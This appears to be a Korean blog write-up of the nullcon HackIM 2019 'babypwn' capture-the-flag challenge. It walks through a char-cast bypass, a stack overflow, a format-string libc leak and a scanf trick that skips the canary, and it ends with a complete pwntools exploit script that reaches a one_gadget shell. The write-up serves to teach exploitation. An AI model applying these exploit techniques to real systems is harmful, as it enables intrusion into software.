SDJ( 수돈재 아님 ㅎ )

nullcon hackim 2019 - babypwn 본문

write-up/pwnable

nullcon hackim 2019 - babypwn

ShinDongJun 2020. 1. 10. 17:41

보호기법은 Full RELRO, Canary, NX가 켜져있다.

 

바이너리를 분석해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
    int result; // eax
    unsigned __int8 v4; // [rsp+6h] [rbp-6Ah]
    unsigned __int8 i; // [rsp+7h] [rbp-69h]
    char *format; // [rsp+8h] [rbp-68h]
    char v7[80]; // [rsp+10h] [rbp-60h]
    char v8; // [rsp+60h] [rbp-10h]
    unsigned __int64 v9; // [rsp+68h] [rbp-8h]
 
    v9 = __readfsqword(0x28u);
    setbuf(stdin, 0LL);
    setbuf(_bss_start, 0LL);
    v4 = 0;
    puts("Create a tressure box?\r");
    _isoc99_scanf("%2s"&v8);
    if ( v8 == 121 || v8 == 89 )
    {
        printf("name: ");
        format = (char *)malloc(0x64uLL);
        strcpy(format, "Tressure Box: ");
        _isoc99_scanf("%50s", format + 14);
        strcat(format, " created!\r\n");
        puts("How many coins do you have?\r");
        _isoc99_scanf("%hhu"&v4);
        if ( (char)v4 > 20 )
        {
            perror("Coins that many are not supported :/\r\n");
            exit(1);
        }
        for ( i = 0; i < v4; ++i )
            _isoc99_scanf("%d"&v7[4 * i]);
        printf(format);
        free(format);
        result = 0;
    }
    else
    {
        puts("Bye!\r");
        result = 0;
    }
    return result;
}

 

먼저 main은 다음과 되어있는데, 

대충 눈여겨 볼만한 곳은 두가지다.

 

1. 자료형 변환 과정 중 overflow 그리고 BOF

사진을 보면 scanf("%hhu", &v4)를 통해 입력을 받고

(char)v4로 바꿨을 때 20보다 크다면 exit(1)를 호출한다.

hhu 는 unsigned char 형을 받기 위해 사용하는 서식인데, 

 

C언어의 limits.h 헤더를 포함하여 다음과 같이 코딩을 해서 컴파일 하면 다음과 같은 결과가 나온다.

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<limits.h>
 
int main(void)
{
    printf("[*]          char : %d - %d\n", CHAR_MIN, CHAR_MAX);
    printf("[*] unsigned_char : 0 - %d\n", UCHAR_MAX);
 
    return 0;
}

 

 

즉 unsigned_char 에 128~255 사이의 값을 넣는다면 

(char)v4 는 오버플로우가 발생하기 때문에 음수가 되어 if문을 우회할 수 있게 된다.

그리고 다음 for문에는 충분히 큰 v4가 들어가기 때문에 입력을 하면서 bof를 발생시킬 수 있다.

 

 

2. FSB ( 포맷 스트링 버그 )

그리고 포맷스트링이 발생한다.

인자 format은 0x64만큼 입력을 할 수 있고

다음과 같은 구조를 가진다.  

"Tressure Box: " + 최대 50 byte + " created!\r\n"

여기서 인자 format은 malloc을 통해 입력을 하기 때문에 format에 got를 적는다 하더라도 그것을 건들기는 힘들다.

따라서 우리는 format 바로 다음 변수인 v7에 입력을 하고, 그 부분을 FSB를 통해 leak하는 방식을 사용할 것이다.

 

 

 

그럼 이제 끝났을까? 아니다. 여기서 문제점이 하나 더 존재한다.

 

바이너리에서 bof가 발생하더라도 canary가 존재하기 때문에 이것을 우회할 필요가 있는데,

포맷스트링을 통해서 canary를 leak한다면 그대로 바이너리가 종료되기 때문에 다른 방법을 찾아야한다.

 

이 부분은 https://jun-lab.tistory.com/111 에서 다룬 내용을 참고하면 된다.

 

scanf("%d")에 대한 잡기술(?)...

포너블을 하면서 새로운 기법(?)을 찾아서 글로 적어두려 한다. 사실 기법이라기 보다는 그냥 잡기술이 맞는거 같은데 원래 scanf()의 서식문자에 맞지 않는 문자를 넣으면 버퍼링이 걸려서 바로 나간다는 점은 알..

jun-lab.tistory.com

 

 

exploit 흐름

1. v4에 적절한 값을 넣어 if문을 우회한다.

2. v7에 got의 값을 넣고 FSB를 통해 libc를 leak한다. 동시에 원가젯을 구한다.

3. bof로 ret를 start()의 함수로 돌린다.

4. 다시 v4에 적절한 값을 넣어 fi문을 우회한다.

5. ret를 원가젯으로 더한다.

 

 

 

exploit 코드

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
 
= process('./challenge')
 
def payload(pay, count):
    p.sendlineafter("name: ", pay)
    p.sendlineafter("?\r"str(count))
 
libc_start_main_got = 0x0000000000600FD0
main = 0x0000000000400806
_start = 0x0000000000400710
 
puts_got = 0x0000000000600FB0
 
one = [0x452160x4526a0xf02a40xf1147]
 
p.sendlineafter("?\r"'Y')
payload("-%8$s-"-1)
 
 
p.sendline(str(puts_got))
p.sendline('0')
for i in range(24): p.sendline('+')
p.sendline(str(_start))
p.sendline("0")
 
p.sendline('a')
 
# [*] restart
 
p.recvuntil("-")
libc_puts = u64(p.recv(6).ljust(8,'\x00'))
libc_base = libc_puts - 0x6f690
one_gadget = libc_base+one[0]
print "libc_puts : " + hex(libc_puts)
print "libc_base : " + hex(libc_base)
print "one_gadget : " + hex(one_gadget)
 
p.sendlineafter("?\r"'Y')
payload('aaaa'-1)
 
for i in range(26): p.sendline("+")
 
p.sendline(str(int(hex(one_gadget)[-8:], 16)))
p.sendline(str(int(hex(one_gadget)[2:-8], 16)))
p.sendline('a')
 
p.interactive()

'write-up > pwnable' 카테고리의 다른 글

Defcon Qualifier 2019 - speedrun-004  (0) 2020.02.05
Defcon Qualifier 2019 - speedrun-001  (0) 2020.02.04
WhiteHat Grand Prix 06 – Quals 2019 - loop  (0) 2020.01.05
해킹캠프 2019 [겨울] - orange  (0) 2019.11.30
HCTF 2019 - rop  (0) 2019.11.21
Comments